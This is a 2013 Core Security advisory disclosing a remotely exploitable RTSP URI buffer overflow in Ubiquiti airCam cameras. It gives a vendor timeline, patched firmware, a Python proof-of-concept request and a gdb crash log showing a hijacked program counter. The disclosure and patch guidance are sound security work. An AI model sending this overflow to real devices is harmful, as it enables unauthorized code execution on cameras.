Core Security - Corelabs Advisory
http://corelabs.coresecurity.com

Buffer overflow in Ubiquiti airCam RTSP service


1. *Advisory Information*

Title: Buffer overflow in Ubiquiti airCam RTSP service
Advisory ID: CORE-2013-0430
Advisory URL:
http://www.coresecurity.com/advisories/buffer-overflow-ubiquiti-aircam-rtsp-service
Date published: 2013-06-11
Date of last update: 2013-06-11
Vendors contacted: Ubiquiti
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Classic buffer overflow [CWE-120]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1606


3. *Vulnerability Description*

The Ubiquiti [1] airCam RTSP service 'ubnt-streamer', has a buffer
overflow when parsing the URI of a RTSP request message. This bug allows
remote attackers to execute arbitrary code via RTSP request message.


4. *Vulnerable Packages*

   . Cameras Models: airCam, airCam Mini, airCam Dome.
   . Firmware Version Verified: AirCam v1.1.5.
   . Other devices are probably affected too, but they were not checked.


5. *Non-Vulnerable Packages*

   . firmware v1.2.0 (airVision 2.x platform).
   . firmware v1.1.6 (airVision 1.x platform).

6. *Vendor Information, Solutions and Workarounds*

Patched firmware versions can be downloaded from the Ubiquiti official
website [2], [3].


7. *Credits*

These vulnerabilities were discovered and researched by Andres Blanco
from Core Exploit Writers Team. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.


8. *Technical Description / Proof of Concept Code*


/-----
#
# Author: Andres Blanco - CORE Security Technologies.
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#

import socket

class RtspRequest(object):

    def __init__(self, ip_address, port):
        self._ip_address = ip_address
        self._port = port

    def generate_request(self, method, uri, headers):
        data = ""
        data += "%s %s RTSP/1.0\r\n" % (method, uri)
        for item in headers:
            header = headers[item]
            data += "%s: %s\r\n" % (item, header)
        data += "\r\n"
        return data

    def send_request(self, data):
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sd.settimeout(15)
        sd.connect((self._ip_address, self._port))
        sd.send(data)
        resp = sd.recv(2048)
        sd.close()
        return resp

if __name__ == "__main__":
    ip = "192.168.100.1"
    anRtsp = RtspRequest(ip, 554)
    data = ""
    data += "A" * 271
    data += "\x78\x56\x34\x12"
    uri = "rtsp://%s/%s/live/ch00_0" % (ip, data)
    headers = { "CSeq" : "1" }
    req = anRtsp.generate_request("DESCRIBE", uri, headers)
    rsp = anRtsp.send_request(req)
-----/

Below the gdb session when executing the PoC.

/-----
AirCam.v1.1.5# ./gdb --pid 358
...
Attaching to process 358

warning: process 358 is a cloned process
Reading symbols from /bin/ubnt-streamer...(no debugging symbols
found)...done.
Reading symbols from /lib/libpthread.so.0...(no debugging symbols
found)...done.
...
0x401c60a0 in select () from /lib/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x12345678 in ?? ()
(gdb) info registers
r0             0x0      0
r1             0x1      1
r2             0xffffffff       4294967295
r3             0x1      1
r4             0x41414141       1094795585
r5             0x41414141       1094795585
r6             0x41414141       1094795585
r7             0xd7198  881048
r8             0x0      0
r9             0x0      0
r10            0xc6119  811289
r11            0xc625f  811615
r12            0x23     35
sp             0x40a7eaf0       0x40a7eaf0
lr             0x48d34  298292
pc             0x12345678       0x12345678
cpsr           0x20000010       536870928
(gdb) info stack
#0  0x12345678 in ?? ()
#1  0x00048d34 in ?? ()
#2  0x00048d34 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/50xw $sp-0x80
0x40a7ea70:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7ea80:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7ea90:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7eaa0:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7eab0:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7eac0:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7ead0:     0x41414141      0x41414141      0x41414141      0x41414141
0x40a7eae0:     0x41414141      0x41414141      0x41414141      0x12345678
0x40a7eaf0:     0x76696c2f      0x68632f65      0x305f3030      0x000d7100
0x40a7eb00:     0x000c6060      0x000c6119      0x00059340      0x000491a8
0x40a7eb10:     0x000d73f6      0x000c6267      0x00000001      0x000c6060
0x40a7eb20:     0x000c6119      0x00059340      0x000c6118      0x00049780
0x40a7eb30:     0x00000000      0x000c611c
-----/


9. *Report Timeline*

. 2013-05-02:
Core Security Technologies notifies the Ubiquiti team of the
vulnerability. Publication date is set for May 29th, 2013.

. 2013-05-02:
Vendor acknowledges the receipt of the email and asks for technical
details.

. 2013-05-02:
A draft report with technical details and a PoC sent to Ubiquiti team.

. 2013-05-03:
Vendor notifies that a new firmware version should address this
vulnerability. It will be released shortly to the alpha and beta community.

. 2013-05-06:
Core notifies that the advisory will be re-scheduled to be released when
patches are available to the alpha and beta community and asks for a
tentative release date.

. 2013-05-09:
Core asks for a status update regarding this vulnerability and a
tentative release date.

. 2013-05-13:
Vendor notifies the firmware is still in internal testing and the
release date will be confirmed in the following days.

. 2013-05-27:
Core notifies that there was no answer in the last 2 weeks regarding the
release date. Core also notifies that the advisory was re-scheduled for
Jun 4th, and asks for a clear timeline to justify keep delaying the
release.

. 2013-05-28:
Vendor notifies that the new firmware is almost done and a confirmed
date will be notified in the following days.

. 2013-05-29:
Core asks if a beta firmware is available for downloading.

. 2013-05-29:
Vendor notifies that they have a v1.1.6 build of the firmware which is
being tested internally and will be released very soon, probably this
week. However, it is not yet available on the ubnt.com/download site.

. 2013-05-29:
First release date missed.

. 2013-06-03:
Core asks for a status update.

. 2013-06-03:
Vendor notifies that they do not have a specific release date yet.

. 2013-06-11:
Vendor notifies that they released firmware 1.2.0 along with airVision 2
[2][3], and a public announcement will be made soon. Release of firmware
1.1.6 (for the airVision 1.x platform) has to be defined.

. 2013-06-11:
Advisory CORE-2013-0430 published.


10. *References*

[1] http://www.ubnt.com.
[2] Ubiquiti downloads http://www.ubnt.com/download#AirCam.
[3] Ubiquiti firmware v1.2.0
http://www.ubnt.com/downloads/AirCam-v1.2.0.build17961.bin.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.